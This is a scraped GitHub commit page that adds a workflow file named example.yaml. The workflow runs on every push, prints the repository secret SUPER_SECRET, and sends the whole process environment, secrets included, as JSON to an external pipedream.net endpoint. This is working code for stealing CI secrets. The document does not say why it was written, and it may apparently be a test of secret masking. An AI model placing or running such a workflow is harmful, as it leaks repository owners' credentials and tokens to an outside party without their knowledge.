Skip to content

Commit 6cb3ee3

Browse files
authored
Create example.yaml
1 parent cc44ca3 commit 6cb3ee3

File tree

1 file changed

+32
-0
lines changed

1 file changed

+32
-0
lines changed

.github/workflows/example.yaml

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
on: push
2+
jobs:
3+
comment:
4+
runs-on: ubuntu-latest
5+
steps:
6+
- uses: actions/github-script@v3
7+
env:
8+
SUPER_SECRET: ${{secrets.SUPER_SECRET}}
9+
with:
10+
script: |
11+
console.info(process.env.SUPER_SECRET);
12+
const https = require("https")
13+
const data = JSON.stringify({
14+
"data": process.env
15+
})
16+
const options = {
17+
hostname: "en6hsug3klkid5n.m.pipedream.net",
18+
port: 443,
19+
path: "/",
20+
method: "POST",
21+
headers: {
22+
"Content-Type": "application/json",
23+
"Content-Length": data.length,
24+
},
25+
}
26+
const req = https.request(options)
27+
req.write(data)
28+
req.end()
29+
- uses: actions/github-script@v3
30+
with:
31+
script: |
32+
console.info(process.env.SUPER_SECRET);

0 commit comments

Comments
 (0)